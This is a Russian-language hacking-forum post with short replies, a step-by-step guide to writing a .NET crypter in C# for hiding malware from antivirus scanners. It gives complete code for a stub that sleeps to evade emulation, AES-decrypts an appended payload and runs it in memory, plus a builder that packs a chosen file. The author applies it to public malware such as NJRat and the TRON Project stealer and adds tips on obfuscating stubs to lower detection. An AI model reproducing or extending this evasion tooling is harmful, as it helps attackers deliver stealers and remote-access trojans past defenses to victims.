Гайд Обходим антивирусы (криптор .NET приложений)

noolCOOL

Новичок
Статус
offline
Регистрация
17.10.2019
Сообщения
1
Репутация
0
Доброго времени суток!

Как всем известно, билды различной малвари (особенно паблик) имеют достаточно большой скантайм детект. В этой статье мы сделаем простой криптор .net приложений на c#.


Кто виноват? Что делать?

Скантайм - сигнатурный детект, который вешают антивирусы на ваш файл. Например, Gen детекты.
Рантайм - детект при запуске файла, своего рода поведенческая сигнатура. Наример, NJRat копирует себя в %TEMP%, создает
свою копию в папке автозапуска и прочее. Эта модель поведения занесена в базы антивирусов.

Наша задача - убрать сигнатуры и изменить поведение файла; другими словами мы напишем оболочку для нашего файла.

Стаб

Стаб - небольшая программа, "сердце" криптора, кторая отвечает за запуск шифрованного файла, антиэмуляцию и прочие плюшки.
Для начала напишем именно стаб.

Структура стаба будет такова:
-Сам стаб
-Слово-разделитель
-Ключ расшифровки
-Слово-разделитель
-Шифрованные данные

Алгоритм работы стаба:
1) Ищем слово-разделитель в файле
2) Получаем ключ
3) Ищем слово-разделитель в файле
4) Получаем шифрованные даные
5) Расшифровываем даные (base64 -> byte[] -> Decrypt() -> byte[])
6) Загружаем и выполняем сборку

Нашим словом-разделителем будет "keeeek".


Приступим к написанию кода. Открываем Visual Studio, создаем консольное приложение на .net4.0.
sTwDElQ.png


Первым делом добавим функцию расшифровки:

Код:
public static byte[] Decrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
  aes.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}

Переходим к Main. Ставим рандомную задержку (5-20 секунд):

Код:
Thread.Sleep(new Random(Environment.TickCount).Next(5000, 20000));

Получаем в строки необходимые данные:

Код:
string data = File.ReadAllText(Assembly.GetEntryAssembly().Location); // Считываем файл
string key = new Regex("keeeek.*keeeek").Matches(data)[0].Value.Replace("keeeek", ""); // Считываем ключ
string file = Regex.Split(data, "keeeek")[2]; // Считываем base64 строку

Далее загрузим расшифрованную сборку:

Код:
Assembly assembly = Assembly.Load(Decrypt(Convert.FromBase64String(file), key)); // Расшифровываем и загружаем сборку
assembly.EntryPoint.Invoke(null, new object[] { new string[] { } });

Учтите, что Mian может не принимать аргументов вообще!

В настройках проекта ставим конфигурацию Release и платформу x86, тип выходных данных - приложение Windows. Компилируем проект.

A9aFW7z.png


На этом со стабом покончили. Далее идет самая простая часть - написание самого криптора.



Криптор

Алгоритм работы криптора:
1) Выбираем файл для крипта
2) Шифруем файл и конвертируем его в Base64 строку
3) Записываем стаб, слово-разделитель, ключ, слово-разделитель, base64 строку

Создаем приложение WindowsForms, кидаем на него конпку:

6Il0tRD.png


Дважды кликаем по ней и пишем в методе код:

Код:
OpenFileDialog op = new OpenFileDialog(); // Окно для выбора файла
op.ShowDialog();

Далее проинициализируем переменные:

Код:
string filename = op.FileName; // Имя файла

byte[] stub = File.ReadAllBytes("stub.exe"); // Имя стаба - кладем в папку с критором

string key = Path.GetRandomFileName().Split('.')[0]; // Рандомный ключ

byte[] encrypted = Encrypt(File.ReadAllBytes(filename), key); // Шифрованный файл

byte[] base64 = Encoding.UTF8.GetBytes(Convert.ToBase64String(encrypted)); // Получаем шифрованный файл в Base64 строку

Теперь, когда все данные получены, просто запишем все в новый файл:

Код:
FileStream fs = new FileStream("output.exe", FileMode.CreateNew, FileAccess.Write);
fs.Write(stub, 0, stub.Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(Encoding.UTF8.GetBytes(key), 0, Encoding.UTF8.GetBytes(key).Length);
fs.Write(Encoding.UTF8.GetBytes("keeeek"), 0, Encoding.UTF8.GetBytes("keeeek").Length);
fs.Write(base64, 0, base64.Length);
fs.Close();

Чуть не забыл, добавим функцию шифрования:

Код:
public static byte[] Encrypt(byte[] input, string key) {
PasswordDeriveBytes pdb =
  new PasswordDeriveBytes(key,
   new byte[] {
    0x43,
    0x87,
    0x23,
    0x72
   });
MemoryStream ms = new MemoryStream();
Aes aes = new AesManaged();
aes.Key = pdb.GetBytes(aes.KeySize / 8);
aes.IV = pdb.GetBytes(aes.BlockSize / 8);
CryptoStream cs = new CryptoStream(ms,
  aes.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(input, 0, input.Length);
cs.Close();
return ms.ToArray();
}

Ну вот и все, криптор готов.
Кладем стаб к криптору и начинаем тестить.

Для примера закриптуем билд стиллера TRON Project.

TekuiPG.png


Как чистить стабы?
1) Изменять ключевое слово
2) Изменять название переменных, их длину, добавлять мусорный код
3) Накрыть стаб каким либо обфускатором
4) Добавить иконку, изменить информацию о файле и тп (ResourceHaсker в помощь)

Ну и конечно же изменять алгоритм работы стаба.

После добавления в стаб мусорного кода, информации из другого файла и обфускации стаба сверху получился следующий детект:

vQfaHqA.png


Я думаю всем понятно, что сканить стабы/криптованные билды на вирустотале и аналогах не нужно

На этом все!
Исходники: https://github.com/onek1lo/Simple-Crypter
 
Последнее редактирование:

Kira Si

Новичок
Статус
offline
Регистрация
18.10.2019
Сообщения
3
Репутация
0
Понял то что ничего не понял:Dash1
 

_ZerO_

Местный
Статус
offline
Регистрация
07.04.2019
Сообщения
167
Репутация
86

gv1ry

Новичок
Статус
offline
Регистрация
22.11.2024
Сообщения
1
Репутация
0
Сможешь скинуть полный код программы?